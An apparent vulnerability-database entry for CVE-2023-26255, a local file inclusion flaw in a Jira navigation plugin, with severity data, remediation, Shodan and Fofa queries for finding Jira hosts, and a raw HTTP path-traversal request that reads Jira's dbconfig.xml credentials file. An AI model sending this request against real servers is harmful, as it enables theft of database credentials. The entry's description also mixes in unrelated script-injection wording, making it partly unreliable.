🔙 목록으로 돌아가기

CVE-2023-26255: STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion

TitleSTAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion
AuthorDhiyaneshDK
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files on the server.
RemediationUpgrade STAGIL Navigation for Jira Menu & Themes to version 2.0.52 or higher to fix the Local File Inclusion vulnerability.
CVSS Score7.5
EPSS Score0.93558
CVE IDCVE-2023-26255
CWE IDCWE-22
Shodan Querytitle:Jirahttp.title:jira
Fofa Querytitle=jira
Tags cve2023 cve lfi jira cms atlassian stagil vkev vuln

🔍 Vulnerability Description

STAGIL Navigation for Jira Menu & Themes plugin before 2.0.52 is susceptible to local file inclusion via modifying the fileName parameter to the snjCustomDesignConfig endpoint. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can potentially allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /plugins/servlet/snjCustomDesignConfig?fileName=../dbconfig.xmlpasswd&fileMime=$textMime HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26255.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-26255.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A